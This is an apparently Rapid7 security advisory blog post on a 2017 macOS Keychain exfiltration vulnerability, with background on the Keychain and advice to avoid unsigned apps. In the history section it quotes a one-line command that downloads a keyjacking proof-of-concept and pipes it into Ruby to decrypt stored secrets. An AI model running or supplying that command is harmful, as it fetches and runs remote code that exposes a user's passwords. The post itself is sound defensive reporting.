Last updated at Tue, 10 Oct 2017 18:23:42 GMT
If you follow the infosec twitterverse or have been keeping an eye on macOS news sites, you’ve likely seen a tweet (with accompanying video) from Patrick Wardle (@patrickwardle) that purports to demonstrate dumping and exfiltration of something called the “keychain” without an associated privilege escalation prompt. Patrick also has a more in-depth Q&A blog post about the vulnerability.
Let’s pull back a bit to provide sufficient background on why you should be concerned.
What is the macOS Keychain?
Without going into fine-grained detail, the macOS Keychain is a secure password management system developed by Apple. It’s been around a while (back when capital letters ruled the day in “Mac OS”) and can hold virtually anything. It’s used to store website passwords, network share credentials, passphrases for wireless networks, and encrypted disk images; you can even use it to store notes securely.
A more “TL;DR” version of that is “The macOS Keychain likely has the passwords to all your email, social media, banking and other websites—as well as for local network shares and your WiFi.”
Most users access Keychain data through applications, but you can use the Keychain Access GUI utility to add, change, or delete entries. Here’s a sample dialog containing credentials for a fake application called (unimaginatively enough) “forexample”:
The password is not displayed by default. You need tick the “Show
password:” box and a prompt will appear:
Enter your system password and you’ll see the password:
That’s a central part of the Keychain — you provide authority for
accessing Keychain elements, even to the application that maintains the secrets for you.
Apple has also provided command-line access to work with the keychain via the security command. Here’s what the listing looks like for this example:
$ security find-generic-password -s forexample
keychain: "/Users/me/Library/Keychains/login.keychain-db"
version: 512
class: "genp"
attributes:
0x00000007 <blob>="forexample"
0x00000008 <blob>=<NULL>
"acct"<blob>="superseekrit"
"cdat"<timedate>=0x32303137303932363230313035305A00 "20170926201050Z\000"
"crtr"<uint32>=<NULL>
"cusi"<sint32>=<NULL>
"desc"<blob>=<NULL>
"gena"<blob>=<NULL>
"icmt"<blob>=<NULL>
"invi"<sint32>=<NULL>
"mdat"<timedate>=0x32303137303932363230313035305A00 "20170926201050Z\000"
"nega"<sint32>=<NULL>
"prot"<blob>=<NULL>
"scrp"<sint32>=<NULL>
"svce"<blob>="forexample"
"type"<uint32>=<NULL>
Again, the secret data is not visible.
As you may have surmised, Apple also provides programmatic access to the Keychain.
iOS, tvOS (etc) all use a similar keychain for storing secrets.
Before we jump into the news from September 25th, 2017, let’s fire up Apple’s Time Machine and go back about four years…
A (Very) Brief History of Keyjacking
Rapid7’s own Erran Carey put
together a proof-of-concept for “keyjacking” your Keychain a little over four years ago.
If you run:
curl -L https://raw.github.com/erran/keyjacker/master/keyjacker.rb | ruby
You’ll get prompted to unlock the keychain:
which will enable the Ruby script to decrypt all the secrets.
There’s another related, older vulnerability that involved using a bit more AppleScript to trick the system into allowing unfettered access to Keychain data (that vulnerability no
longer exists).
So, What’s Different Now?
Patrick’s video shows him running an unsigned application that was
downloaded from a remote source. The usual macOS prompts come up to warn you that running said apps is a bad idea and when you enable execution a dialog come up with a button. The user in the video (presumably Patrick) presses said button and some time passes, then a file with a full, cleartext export of the entire Keychain is scrolled through.
As indicated, many bad things had to happen before the secrets were revealed:
-
the Security System Preferences had to be modified to allow you to run unsigned third-party apps on your system
-
you had to download a program from some site or load/run it from USB (et al) drive
-
you had to say “OK” one more time to Apple’s warning that what you are about to do is a bad idea
Sure, registered/signed apps could perform the same malicious function,
but that’s less likely since Apple can tie the signed app to the
developer (or developer’s system) that created it.
What Can I Do?
It looks like this vulnerability has been around for a while. macOS Sierra and the just-released High Sierra are both vulnerable to this attack; El Capitan is also reported to be vulnerable.
Since you’re likely running El Capitan or Sierra, upgrading to High Sierra isn’t going to put you further at risk. In fact, High Sierra includes security patches and additional security features that make it worth the upgrade. Bottom line: don’t let this vulnerability alone prevent you from upgrading to High Sierra if you’re on El Capitan or Sierra. However, you might want to consider a completely fresh install versus an upgrade. Why? Read on!
macOS “power users” will not like the following advice, but you should consider performing a fresh install of High Sierra and starting from a completely fresh system, then migrating signed applications and data over. It’s the next bit that really hurts, though. Don’t install any unsigned third-party apps or any apps via MacPorts or Homebrew until Apple patches the vulnerability. Why? Well, there’s a chance Patrick is not the only one who found this vulnerability, and attackers may try to work up their own exploits before Apple has a chance to release a fix. In fact, they may already have (which is one reason we suggested not just doing an upgrade).
And, Apple is working on a fix — Patrick responsibly informed them — but there was no time to bake it in beforethis week’s official release. Using any unsigned third-party code could put your secrets at risk. You should also be wary of running signed code that you download outside the Mac App Store. Apple’s gatekeeping is not perfect, but it’s better than the total absence of gatekeeping that comes with downloads from uncontrolled websites.
Rapid7 researchers will be monitoring for other proof-of-concept (PoC) code that exploits this vulnerability (Patrick did not release his PoC code into the wild) and will be waiting and watching for Apple’s first macOS patch release — they released 10.13.1 betas to developers today — to fix this critical issue. Keep watching the Rapid7 blog for updates!
